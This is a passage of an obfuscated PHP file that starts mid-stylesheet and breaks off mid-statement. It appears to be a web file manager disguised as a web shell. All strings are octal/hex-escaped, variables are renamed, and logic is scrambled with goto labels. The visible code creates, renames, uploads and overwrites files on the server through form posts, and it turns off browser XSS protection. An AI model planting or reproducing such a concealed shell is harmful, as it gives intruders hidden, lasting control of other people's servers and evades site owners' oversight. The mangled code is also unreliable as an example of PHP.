li{margin-bottom:10px}.app-v-title{font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase}hr.custom-hr{border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff}#snackbar{visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px}#snackbar.show{visibility:visible;-webkit-animation:fadein .5s,fadeout .5s 2.5s;animation:fadein .5s,fadeout .5s 2.5s}@-webkit-keyframes fadein{from{bottom:0;opacity:0}to{bottom:30px;opacity:1}}@keyframes fadein{from{bottom:0;opacity:0}to{bottom:30px;opacity:1}}@-webkit-keyframes fadeout{from{bottom:30px;opacity:1}to{bottom:0;opacity:0}}@keyframes fadeout{from{bottom:30px;opacity:1}to{bottom:0;opacity:0}}#main-table span.badge{border-bottom:2px solid #f8f9fa}#main-table span.badge:nth-child(1){border-color:#df4227}#main-table span.badge:nth-child(2){border-color:#f8b600}#main-table span.badge:nth-child(3){border-color:#00bd60}#main-table span.badge:nth-child(4){border-color:#4581ff}#main-table span.badge:nth-child(5){border-color:#ac68fc}#main-table span.badge:nth-child(6){border-color:#45c3d2}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2){.navbar-collapse .col-xs-6{padding:0}}.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus{outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}.lds-facebook{display:none;position:relative;width:64px;height:64px}.lds-facebook div,.lds-facebook.show-me{display:inline-block}.lds-facebook div{position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite}.lds-facebook div:nth-child(1){left:6px;animation-delay:-.24s}.lds-facebook div:nth-child(2){left:26px;animation-delay:-.12s}.lds-facebook div:nth-child(3){left:45px;animation-delay:0s}@keyframes lds-facebook{0%{top:6px;height:51px}100%,50%{top:19px;height:26px}}ul#search-wrapper{padding-left:0;border:1px solid #ecececcc}ul#search-wrapper li{list-style:none;padding:5px;border-bottom:1px solid #ecececcc}ul#search-wrapper li:nth-child(odd){background:#f9f9f9cc}.c-preview-img{max-width:300px}.border-radius-0{border-radius:0}.float-right{float:right}.table-hover>tbody>tr:hover>td:first-child{border-left:1px solid #1b77fd}#main-table tr.even{background-color:#f8f9fa}.filename>a>i{margin-right:3px}</style><?php  if (FM_THEME == "\x64\141\162\x6b") { ?>
<style>:root{--bs-bg-opacity:1;--bg-color:#f3daa6;--bs-dark-rgb:28,36,41!important;--bs-bg-opacity:1}.table-dark{--bs-table-bg:28,36,41!important}.btn-primary{--bs-btn-bg:#26566c;--bs-btn-border-color:#26566c}body.theme-dark{background-image:linear-gradient(90deg,#1c2429,#263238);color:#cfd8dc}.list-group .list-group-item{background:#343a40}.break-word,.navbar-nav .dropdown-toggle,.theme-dark .navbar-nav i{color:#cfd8dc}#main-table .filename a,a,a:active,a:hover,a:visited,i.fa.fa-folder-o,i.go-back{color:var(--bg-color)}ul#search-wrapper li:nth-child(odd){background:#212a2f}.theme-dark .btn-outline-primary{color:#b8e59c;border-color:#b8e59c}.theme-dark .btn-outline-primary:active,.theme-dark .btn-outline-primary:hover{background-color:#2d4121}.theme-dark input.form-control{background-color:#101518;color:#cfd8dc}.theme-dark .dropzone{background:0 0}.theme-dark .inline-actions>a>i{background:#79755e}.theme-dark .text-white{color:#cfd8dc!important}.table-bordered th,.theme-dark .table-bordered td{border-color:#343434}.theme-dark .table-bordered td .custom-control-input,.theme-dark .table-bordered th .custom-control-input{opacity:.678}.message{background-color:#212529}.compact-table tr:hover td{background-color:#3d3d3d}#main-table tr.even{background-color:#21292f}form.dropzone{border-color:#79755e}</style><?php  } ?>
</head><body class="<?php  echo FM_THEME == "\x64\x61\162\153" ? "\x74\150\145\155\x65\55\144\x61\x72\153" : ''; echo $hhhhhhhhhhh; ?>
"><div class="container-fluid"id="wrapper"><div class="modal fade"id="createNewItem"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"aria-hidden="true"aria-labelledby="newItemModalLabel"><div class="modal-dialog"role="document"><form method="post"class="modal-content<?php  echo fm_get_theme(); ?>
"><div class="modal-header"><h5 class="modal-title"id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php  echo lng("\x43\x72\145\x61\x74\x65\116\145\x77\111\164\x65\155"); ?>
</h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><div class="modal-body"><p><label for="newfile"><?php  echo lng("\x49\164\145\155\x54\x79\160\x65"); ?>
</label></p><div class="form-check form-check-inline"><input name="newfile"name="newfile"type="radio"value="file"id="customRadioInline1"class="form-check-input"> <label for="customRadioInline1"class="form-check-label"><?php  echo lng("\106\x69\x6c\145"); ?>
</label></div><div class="form-check form-check-inline"><input name="newfile"type="radio"value="folder"id="customRadioInline2"class="form-check-input"checked> <label for="customRadioInline2"class="form-check-label"><?php  echo lng("\x46\157\154\144\145\162"); ?>
</label></div><p class="mt-3"><label for="newfilename"><?php  echo lng("\x49\x74\x65\155\116\x61\x6d\145"); ?>
</label></p><input name="newfilename"value=""id="newfilename"class="form-control"placeholder="<?php  echo lng("\105\x6e\x74\x65\162\40\150\x65\162\145\56\56\56"); ?>
"required></div><div class="modal-footer"><input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\x6f\x6b\x65\x6e"]; ?>
"> <button class="btn btn-outline-primary"type="button"data-bs-dismiss="modal"><i class="fa fa-times-circle"></i><?php  echo lng("\103\x61\x6e\x63\x65\x6c"); ?>
</button> <button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("\x43\x72\145\x61\x74\x65\x4e\157\x77"); ?>
</button></div></form></div></div><div class="modal fade"id="searchModal"role="dialog"tabindex="-1"aria-hidden="true"aria-labelledby="searchModalLabel"><div class="modal-dialog modal-lg"role="document"><div class="modal-content<?php  echo fm_get_theme(); ?>
"><div class="modal-header"><h5 class="modal-title col-10"id="searchModalLabel"><div class="mb-3 input-group"><input id="advanced-search"class="form-control"required placeholder="<?php  echo lng("\x53\x65\x61\x72\143\150"); echo lng("\x61\40\146\x69\x6c\x65\163"); ?>
"aria-label="<?php  echo lng("\x53\145\141\162\x63\150"); ?>
"aria-describedby="search-addon3"autofocus> <span class="input-group-text"id="search-addon3"><i class="fa fa-search"></i></span></div></h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><div class="modal-body"><form method="post"action=""><div class="lds-facebook"><div></div><div></div><div></div></div><ul id="search-wrapper"><p class="m-2"><?php  echo lng("\x53\x65\x61\162\x63\x68\x20\x66\151\154\x65\40\x69\x6e\40\x66\x6f\x6c\x64\145\x72\40\141\156\144\40\163\165\142\x66\x6f\x6c\144\x65\162\163\56\x2e\56"); ?>
</p></ul></form></div></div></div></div><div class="modal modal-alert"id="renameDailog"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"><div class="modal-dialog"role="document"><form method="post"class="modal-content rounded-3 shadow<?php  echo fm_get_theme(); ?>
"autocomplete="off"><div class="modal-body p-4 text-center"><h5 class="mb-3"><?php  echo lng("\101\162\x65\40\x79\x6f\x75\40\x73\165\162\x65\40\x77\141\x6e\x74\x20\x74\157\40\x72\x65\156\141\x6d\x65\77"); ?>
</h5><p class="mb-1"><input name="rename_to"id="js-rename-to"class="form-control"required placeholder="<?php  echo lng("\105\156\164\x65\162\x20\156\145\167\x20\x66\151\154\145\40\156\x61\155\145"); ?>
"> <input name="token"type="hidden"value="<?php  echo $_SESSION["\164\157\153\145\x6e"]; ?>
"> <input name="rename_from"type="hidden"id="js-rename-from"></p></div><div class="modal-footer flex-nowrap p-0"><button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0 border-end"type="button"data-bs-dismiss="modal"><?php  echo lng("\x43\x61\156\x63\x65\x6c"); ?>
</button> <button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0"type="submit"><strong><?php  echo lng("\117\x6b\x61\x79"); ?>
</strong></button></div></form></div></div><script type="text/html"id="js-tpl-confirm"><div class="modal modal-alert confirmDailog"id="confirmDailog-<%this.id%>"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"><div class="modal-dialog"role="document"><form method="post"action="<%this.action%>"class="modal-content rounded-3 shadow<?php  echo fm_get_theme(); ?>
"autocomplete="off"><div class="modal-body p-4 text-center"><h5 class="mb-2"><?php  echo lng("\x41\x72\145\40\x79\157\x75\40\163\165\x72\145\x20\x77\x61\156\164\40\x74\x6f"); ?>
<%this.title%>?</h5><p class="mb-1"><%this.content%></p></div><div class="modal-footer flex-nowrap p-0"><button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0 border-end"type="button"data-bs-dismiss="modal"><?php  echo lng("\x43\x61\x6e\143\x65\154"); ?>
</button> <input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\x6f\x6b\x65\156"]; ?>
"> <button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0"type="submit"data-bs-dismiss="modal"><strong><?php  echo lng("\117\x6b\141\171"); ?>
</strong></button></div></form></div></div></script><?php  } goto cNQxl; F9Hga: $bb = array(); goto sgUZr; QYvDj: if (isset($_POST["\156\145\167\x66\x69\x6c\x65\156\x61\x6d\x65"], $_POST["\156\145\x77\x66\x69\154\x65"], $_POST["\x74\x6f\x6b\x65\x6e"]) && !FM_READONLY) { $vvvv = urldecode($_POST["\x6e\145\x77\146\x69\154\145"]); $wwww = str_replace("\57", '', fm_clean_path(strip_tags($_POST["\156\145\x77\146\x69\154\145\x6e\x61\155\145"]))); if (fm_isvalid_filename($wwww) && $wwww != '' && $wwww != "\x2e\x2e" && $wwww != "\56" && verifyToken($_POST["\164\157\153\x65\x6e"])) { $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "\x2f" . FM_PATH; } if ($vvvv == "\146\151\x6c\x65") { if (!file_exists($iii . "\57" . $wwww)) { if (fm_is_valid_ext($wwww)) { @fopen($iii . "\57" . $wwww, "\x77") or die("\103\x61\x6e\156\157\x74\40\x6f\x70\145\x6e\x20\146\x69\154\145\72\40\40" . $wwww); fm_set_msg(sprintf(lng("\106\151\154\x65") . "\40\74\142\x3e\45\163\74\57\142\x3e\40" . lng("\103\x72\145\141\164\x65\144"), fm_enc($wwww))); } else { fm_set_msg(lng("\x46\x69\x6c\145\40\x65\x78\164\145\156\x73\x69\x6f\156\40\x69\163\40\156\x6f\164\40\141\x6c\154\157\167\x65\144"), "\145\x72\162\x6f\x72"); } } else { fm_set_msg(sprintf(lng("\106\151\154\145") . "\40\74\142\x3e\45\x73\74\57\x62\76\40" . lng("\141\154\162\145\x61\x64\171\x20\145\170\151\163\164\x73"), fm_enc($wwww)), "\x61\x6c\x65\x72\x74"); } } else { if (fm_mkdir($iii . "\x2f" . $wwww, false) === true) { fm_set_msg(sprintf(lng("\106\157\x6c\144\145\x72") . "\x20\x3c\x62\76\x25\x73\74\x2f\x62\76\40" . lng("\103\x72\145\141\164\145\144"), $wwww)); } elseif (fm_mkdir($iii . "\x2f" . $wwww, false) === $iii . "\x2f" . $wwww) { fm_set_msg(sprintf(lng("\106\157\154\144\x65\x72") . "\x20\74\142\76\45\163\74\57\142\76\40" . lng("\141\x6c\162\145\x61\x64\171\40\145\170\x69\163\x74\163"), fm_enc($wwww)), "\141\x6c\x65\x72\x74"); } else { fm_set_msg(sprintf(lng("\106\x6f\x6c\144\145\162") . "\x20\x3c\142\76\x25\163\74\57\142\x3e\x20" . lng("\x6e\157\164\x20\143\162\145\141\164\x65\144"), fm_enc($wwww)), "\145\x72\x72\157\x72"); } } } else { fm_set_msg(lng("\111\156\x76\x61\x6c\151\144\40\143\x68\x61\162\141\143\164\x65\162\x73\x20\151\x6e\x20\x66\x69\154\145\40\x6f\x72\x20\146\x6f\154\x64\145\162\x20\156\141\x6d\145"), "\x65\x72\162\x6f\162"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\x3d" . urlencode($jjj)); } goto LKB5D; sghW7: $tttttt = array_slice(explode("\x2f", $iii), -1)[0]; goto E8o0A; rejtV: $qqqqqq = fm_get_parent_path(FM_PATH); goto N60RJ; B3ds2: defined("\106\x4d\x5f\105\130\103\114\125\x44\x45\137\111\124\105\115\x53") || define("\x46\x4d\137\x45\x58\x43\x4c\125\x44\105\x5f\111\124\x45\x4d\123", version_compare(PHP_VERSION, "\67\x2e\x30\x2e\60", "\x3c") ? serialize($bb) : $bb); goto JJJea; REulX: $lllll = array(); goto sghW7; E8o0A: if (is_array($rrrrrr) && fm_is_exclude_items($tttttt)) { foreach ($rrrrrr as $ww) { if ($ww == "\x2e" || $ww == "\x2e\56") { continue; } if (!FM_SHOW_HIDDEN && substr($ww, 0, 1) === "\x2e") { continue; } $eeeeee = $iii . "\x2f" . $ww; if (@is_file($eeeeee) && fm_is_exclude_items($ww)) { $lllll[] = $ww; } elseif (@is_dir($eeeeee) && $ww != "\56" && $ww != "\x2e\x2e" && fm_is_exclude_items($ww)) { $ssssss[] = $ww; } } } goto oK61h; bJ0qN: function fm_show_message() { if (isset($_SESSION[FM_SESSION_ID]["\x6d\x65\x73\163\x61\147\x65"])) { $ppppppppppp = isset($_SESSION[FM_SESSION_ID]["\163\164\x61\x74\x75\163"]) ? $_SESSION[FM_SESSION_ID]["\x73\164\x61\164\x75\x73"] : "\157\x6b"; echo "\74\160\x20\x63\x6c\141\x73\x73\75\42\x6d\145\x73\163\141\x67\x65\x20" . $ppppppppppp . "\x22\76" . $_SESSION[FM_SESSION_ID]["\x6d\145\x73\x73\x61\x67\145"] . "\74\57\160\76"; unset($_SESSION[FM_SESSION_ID]["\x6d\145\163\x73\141\147\x65"]); unset($_SESSION[FM_SESSION_ID]["\163\164\x61\164\x75\x73"]); } } goto SL0gk; JJJea: defined("\106\x4d\x5f\x44\x4f\x43\137\x56\x49\x45\x57\105\x52") || define("\x46\x4d\137\104\117\x43\137\x56\111\105\127\x45\x52", $cc); goto Ffukt; UKnPa: $ff = 2000000; goto EEtYp; HYp6y: $_POST = strpos($fff, "\x61\x6a\141\x78") != FALSE && strpos($fff, "\163\141\x76\x65") != FALSE ? json_decode($fff, true) : $_POST; goto sIw4i; Oer20: if (is_readable($mm)) { @(include $mm); } goto SrLk7; jtXVu: if (!isset($_GET["\x70"]) && empty($_FILES)) { fm_redirect(FM_SELF_URL . "\77\160\x3d"); } goto Zlyyq; lrpek: function fm_set_msg($vv, $ffffffffff = "\x6f\153") { $_SESSION[FM_SESSION_ID]["\x6d\x65\x73\163\141\147\x65"] = $vv; $_SESSION[FM_SESSION_ID]["\x73\x74\141\164\165\163"] = $ffffffffff; } goto vrtR6; kvw18: function fm_rename($nnnnn, $wwww) { $nnnn = fm_is_valid_ext($wwww); if (!is_dir($nnnnn)) { if (!$nnnn) { return false; } } return !file_exists($wwww) && file_exists($nnnnn) ? rename($nnnnn, $wwww) : null; } goto RReJw; L80s9: echo lng("\x4d\x6f\x64\151\x66\151\145\144"); goto LRolc; fw0Wq: function fm_show_nav_path($iii) { global $oo, $dd, $yyyyyyy; $hhhhhhhhhhh = $dd ? "\x66\151\x78\145\x64\55\x74\x6f\x70" : ''; $iiiiiiiiiii = fm_get_theme(); $iiiiiiiiiii .= "\40\156\x61\x76\142\141\x72\55\x6c\x69\147\x68\164"; if (FM_THEME == "\144\x61\162\x6b") { $iiiiiiiiiii .= "\x20\x6e\141\x76\142\x61\162\55\x64\141\162\153"; } else { $iiiiiiiiiii .= "\40\x62\x67\x2d\x77\x68\x69\164\145"; } ?>
<nav class="navbar navbar-expand-lg<?php  echo $iiiiiiiiiii; ?>
mb-4 main-nav<?php  echo $hhhhhhhhhhh; ?>
"><a class="navbar-brand"><?php  echo lng("\101\x70\x70\x54\x69\x74\x6c\145"); ?>
</a><button class="navbar-toggler"type="button"aria-label="Toggle navigation"aria-controls="navbarSupportedContent"aria-expanded="false"data-bs-target="#navbarSupportedContent"data-bs-toggle="collapse"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse"id="navbarSupportedContent"><?php  $iii = fm_clean_path($iii); $s = "\74\141\x20\x68\162\145\146\75\x27\x3f\x70\x3d\x27\x3e\x3c\151\40\143\x6c\x61\163\163\x3d\x27\x66\x61\x20\x66\x61\x2d\x68\157\x6d\x65\x27\40\x61\x72\151\x61\55\x68\x69\144\x64\x65\156\x3d\47\x74\162\165\145\47\x20\164\x69\x74\154\x65\x3d\x27" . FM_ROOT_PATH . "\x27\x3e\x3c\x2f\151\x3e\74\x2f\x61\x3e"; $jjjjjjjjjjj = "\x3c\151\x20\x63\154\x61\x73\163\x3d\x22\142\162\145\141\x64\55\x63\x72\165\x6d\142\42\x3e\x20\57\40\74\57\x69\76"; if ($iii != '') { $kkkkkkkkkkk = explode("\57", $iii); $lllllllllll = count($kkkkkkkkkkk); $hhhhhhhhh = array(); $qqqqqq = ''; for ($mmmmmmmmmmm = 0; $mmmmmmmmmmm < $lllllllllll; $mmmmmmmmmmm++) { $qqqqqq = trim($qqqqqq . "\57" . $kkkkkkkkkkk[$mmmmmmmmmmm], "\x2f"); $nnnnnnnnnnn = urlencode($qqqqqq); $hhhhhhhhh[] = "\74\141\40\150\162\x65\x66\75\47\77\160\x3d{$nnnnnnnnnnn}\x27\x3e" . fm_enc(fm_convert_win($kkkkkkkkkkk[$mmmmmmmmmmm])) . "\74\x2f\x61\x3e"; } $s .= $jjjjjjjjjjj . implode($jjjjjjjjjjj, $hhhhhhhhh); } echo "\74\144\151\166\40\143\154\141\x73\163\75\x22\143\x6f\154\x2d\170\163\x2d\66\40\143\157\154\55\x73\155\x2d\65\x22\76" . $s . $yyyyyyy . "\74\x2f\x64\151\166\76"; ?>
<div class="col-sm-7 col-xs-6"><ul class="navbar-nav justify-content-end<?php  echo fm_get_theme(); ?>
"><li class="nav-item mr-2"><div class="input-group input-group-sm mr-1"style="margin-top:4px"><input id="search-addon"class="form-control"placeholder="<?php  echo lng("\106\151\x6c\x74\x65\162"); ?>
"aria-label="<?php  echo lng("\123\145\141\162\x63\150"); ?>
"aria-describedby="search-addon2"><div class="input-group-append"><span class="input-group-text brl-0 brr-0"id="search-addon2"><i class="fa fa-search"></i></span></div><div class="btn-group input-group-append"><span class="input-group-text brl-0 dropdown-toggle"aria-expanded="false"aria-haspopup="true"data-bs-toggle="dropdown"></span><div class="dropdown-menu dropdown-menu-right"><a href="<?php  echo $ooooooooooo = $iii ? $iii : "\56"; ?>
"class="dropdown-item"data-bs-target="#searchModal"data-bs-toggle="modal"id="js-search-modal"><?php  echo lng("\x41\144\x76\x61\156\x63\145\144\x20\x53\x65\141\x72\x63\x68"); ?>
</a></div></div></div></li><?php  if (!FM_READONLY) { ?>
<li class="nav-item"><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&upload"class="nav-link"title="<?php  echo lng("\x55\160\x6c\157\141\x64"); ?>
"><i class="fa fa-cloud-upload"aria-hidden="true"></i><?php  echo lng("\125\x70\154\x6f\141\144"); ?>
</a></li><li class="nav-item"><a href="#createNewItem"class="nav-link"title="<?php  echo lng("\116\x65\167\111\x74\x65\155"); ?>
"data-bs-target="#createNewItem"data-bs-toggle="modal"><i class="fa fa-plus-square"></i><?php  echo lng("\116\145\x77\111\x74\145\x6d"); ?>
</a></li><?php  } if (FM_USE_AUTH) { ?>
<li class="nav-item avatar dropdown"><a class="nav-link dropdown-toggle"data-bs-toggle="dropdown"id="navbarDropdownMenuLink-5"aria-expanded="false"aria-haspopup="true"><i class="fa fa-user-circle"></i><?php  if (isset($_SESSION[FM_SESSION_ID]["\154\x6f\147\x67\x65\144"])) { echo $_SESSION[FM_SESSION_ID]["\154\x6f\147\x67\145\144"]; } ?>
</a><div class="dropdown-menu text-small shadow<?php  echo fm_get_theme(); ?>
"aria-labelledby="navbarDropdownMenuLink-5"><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&settings=1"class="nav-link dropdown-item"title="<?php  echo lng("\123\145\164\164\x69\x6e\147\163"); ?>
"><i class="fa fa-cog"aria-hidden="true"></i><?php  echo lng("\x53\145\164\164\x69\x6e\147\x73"); ?>
</a><?php  } ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&help=2"class="nav-link dropdown-item"title="<?php  echo lng("\110\145\154\160"); ?>
"><i class="fa fa-exclamation-circle"aria-hidden="true"></i><?php  echo lng("\x48\x65\154\160"); ?>
</a><a href="?logout=1"class="nav-link dropdown-item"title="<?php  echo lng("\114\x6f\147\x6f\165\164"); ?>
"><i class="fa fa-sign-out"aria-hidden="true"></i><?php  echo lng("\x4c\157\147\x6f\165\164"); ?>
</a></div></li><?php  } else { if (!FM_READONLY) { ?>
<li class="nav-item"><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&settings=1"class="nav-link dropdown-item"title="<?php  echo lng("\123\145\164\164\x69\x6e\x67\x73"); ?>
"><i class="fa fa-cog"aria-hidden="true"></i><?php  echo lng("\x53\145\x74\x74\151\x6e\x67\163"); ?>
</a></li><?php  } } ?>
</ul></div></div></nav><?php  } goto bJ0qN; Jn7TB: $yy = isset($_SERVER["\110\124\124\x50\x53"]) && ($_SERVER["\110\x54\x54\x50\x53"] == "\157\156" || $_SERVER["\110\124\124\120\x53"] == 1) || isset($_SERVER["\x48\124\x54\x50\137\130\x5f\x46\117\x52\x57\x41\122\104\x45\x44\x5f\120\122\117\x54\117"]) && $_SERVER["\110\124\124\120\137\x58\137\x46\117\122\127\101\x52\104\105\x44\137\x50\x52\117\x54\117"] == "\150\x74\x74\160\x73"; goto oNXhl; z0mOd: if (isset($_GET["\x65\144\151\164"]) && !FM_READONLY) { $ww = $_GET["\x65\x64\151\x74"]; $ww = fm_clean_path($ww, false); $ww = str_replace("\57", '', $ww); if ($ww == '' || !is_file($iii . "\x2f" . $ww) || in_array($ww, $GLOBALS["\x65\x78\143\x6c\x75\144\145\x5f\151\x74\x65\155\163"])) { fm_set_msg(lng("\x46\151\x6c\x65\x20\x6e\x6f\x74\x20\146\157\165\156\x64"), "\145\x72\x72\x6f\x72"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\x3d" . urlencode($jjj)); } $yyyyyyy = "\40\72\40\x3c\151\x3e\x3c\142\76" . $ww . "\x3c\x2f\142\x3e\x3c\57\x69\x3e"; header("\x58\55\x58\x53\123\55\120\162\x6f\164\145\143\164\151\x6f\156\72\60"); fm_show_header(); fm_show_nav_path(FM_PATH); $bbbbbbb = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? "\57" . FM_PATH : '') . "\x2f" . $ww); $kkk = $iii . "\57" . $ww; $zzzzzzz = true; if (isset($_GET["\x65\156\166"])) { if ($_GET["\x65\x6e\x76"] == "\x61\143\x65") { $zzzzzzz = false; } } if (isset($_POST["\163\x61\166\x65\x64\141\164\x61"])) { $lll = $_POST["\163\141\166\145\144\x61\164\141"]; $mmm = fopen($kkk, "\167"); @fwrite($mmm, $lll); fclose($mmm); fm_set_msg(lng("\x46\151\x6c\145\x20\123\141\x76\x65\144\40\x53\x75\143\143\x65\x73\x73\146\x75\x6c\154\x79")); } $mmmm = strtolower(pathinfo($kkk, PATHINFO_EXTENSION)); $ccccccc = fm_get_mime_type($kkk); $eeeeeee = filesize($kkk); $kkkkkkk = false; $ooooooo = ''; if (in_array($mmmm, fm_get_text_exts()) || substr($ccccccc, 0, 4) == "\x74\145\x78\164" || in_array($ccccccc, fm_get_text_mimes())) { $kkkkkkk = true; $ooooooo = file_get_contents($kkk); } ?>
<div class="path"><div class="row"><div class="col-xs-12 col-lg-6 pt-1 col-sm-5"><div class="btn-toolbar"role="toolbar"><?php  if (!$zzzzzzz) { ?>
<div class="btn-group js-ace-toolbar"><button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("\106\165\154\154\x73\x63\x72\x65\145\156"); ?>
"data-cmd="none"id="js-ace-fullscreen"data-option="fullscreen"><i class="fa fa-expand"title="<?php  echo lng("\106\165\x6c\x6c\163\143\162\145\145\156"); ?>
"></i></button> <button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("\x53\145\x61\x72\143\150"); ?>
"data-cmd="find"id="js-ace-search"><i class="fa fa-search"title="<?php  echo lng("\123\x65\141\162\x63\x68"); ?>
"></i></button> <button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("\125\x6e\x64\157"); ?>
"data-cmd="undo"id="js-ace-undo"><i class="fa fa-undo"title="<?php  echo lng("\x55\156\x64\157"); ?>
"></i></button> <button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("\x52\145\x64\157"); ?>
"data-cmd="redo"id="js-ace-redo"><i class="fa fa-repeat"title="<?php  echo lng("\122\x65\x64\157"); ?>
"></i></button> <button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("\x57\157\162\x64\x20\127\162\x61\160"); ?>
"data-cmd="none"id="js-ace-wordWrap"data-option="wrap"><i class="fa fa-text-width"title="<?php  echo lng("\x57\x6f\162\x64\x20\x57\162\x61\160"); ?>
"></i></button> <select class="d-none border-start-0 btn-outline-secondary d-md-block"id="js-ace-mode"data-type="mode"title="<?php  echo lng("\x53\145\x6c\145\143\164\40\x44\x6f\143\x75\x6d\145\156\164\x20\124\x79\x70\x65"); ?>
"><option>--<?php  echo lng("\x53\x65\154\145\x63\164\40\x4d\x6f\x64\145"); ?>
--</option></select> <select class="d-none border-start-0 btn-outline-secondary d-lg-block"id="js-ace-theme"data-type="theme"title="<?php  echo lng("\123\x65\x6c\145\143\x74\40\124\x68\145\155\x65"); ?>
"><option>--<?php  echo lng("\x53\145\x6c\x65\x63\x74\40\x54\150\x65\155\145"); ?>
--</option></select> <select class="d-none border-start-0 btn-outline-secondary d-lg-block"id="js-ace-fontSize"data-type="fontSize"title="<?php  echo lng("\x53\x65\x6c\x65\x63\164\x20\106\157\x6e\x74\x20\123\x69\x7a\145"); ?>
"><option>--<?php  echo lng("\x53\145\154\145\x63\164\x20\106\157\156\164\x20\123\x69\172\145"); ?>
--</option></select></div><?php  } ?>
</div></div><div class="col-xs-12 col-lg-6 pt-1 col-sm-7 edit-file-actions text-end"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&view=<?php  echo urlencode($ww); ?>
"class="btn btn-outline-primary btn-sm"title="<?php  echo lng("\x42\x61\x63\x6b"); ?>
"><i class="fa fa-reply-all"></i><?php  echo lng("\x42\x61\x63\153"); ?>
</a><a href="javascript:void(0);"class="btn btn-outline-primary btn-sm"title="<?php  echo lng("\x42\x61\x63\x6b\x55\160"); ?>
"onclick='backup("<?php  echo urlencode(trim(FM_PATH)); ?>
","<?php  echo urlencode($ww); ?>
")'><i class="fa fa-database"></i><?php  echo lng("\102\x61\x63\x6b\x55\160"); ?>
</a><?php  if ($kkkkkkk) { if ($zzzzzzz) { ?>
<a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&edit=<?php  echo urlencode($ww); ?>
&env=ace"class="btn btn-outline-primary btn-sm"title="Advanced"><i class="fa fa-pencil-square-o"></i><?php  echo lng("\101\x64\x76\x61\156\143\x65\x64\105\144\151\164\x6f\x72"); ?>
</a><button class="btn btn-sm btn-success"type="button"data-url="<?php  echo fm_enc($bbbbbbb); ?>
"name="Save"onclick='edit_save(this,"nrl")'><i class="fa fa-floppy-o"></i> Save</button><?php  } else { ?>
<a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&edit=<?php  echo urlencode($ww); ?>
"class="btn btn-outline-primary btn-sm"title="Plain Editor"><i class="fa fa-text-height"></i><?php  echo lng("\116\157\162\x6d\141\x6c\105\144\151\x74\157\x72"); ?>
</a><button class="btn btn-sm btn-success"type="button"data-url="<?php  echo fm_enc($bbbbbbb); ?>
"name="Save"onclick='edit_save(this,"ace")'><i class="fa fa-floppy-o"></i><?php  echo lng("\123\141\166\x65"); ?>
</button><?php  } } ?>
</div></div><?php  if ($kkkkkkk && $zzzzzzz) { echo "\x3c\164\x65\x78\164\x61\x72\x65\x61\x20\x63\154\x61\x73\163\x3d\42\155\164\x2d\62\x22\40\151\144\75\x22\x6e\157\162\155\141\154\x2d\x65\x64\151\164\x6f\162\x22\x20\162\157\167\163\x3d\42\63\63\42\x20\143\157\154\x73\x3d\x22\x31\62\x30\42\40\163\x74\x79\x6c\x65\x3d\x22\167\x69\144\x74\x68\72\x20\71\x39\56\65\x25\73\42\76" . htmlspecialchars($ooooooo) . "\x3c\x2f\x74\x65\x78\x74\x61\x72\145\x61\x3e"; echo 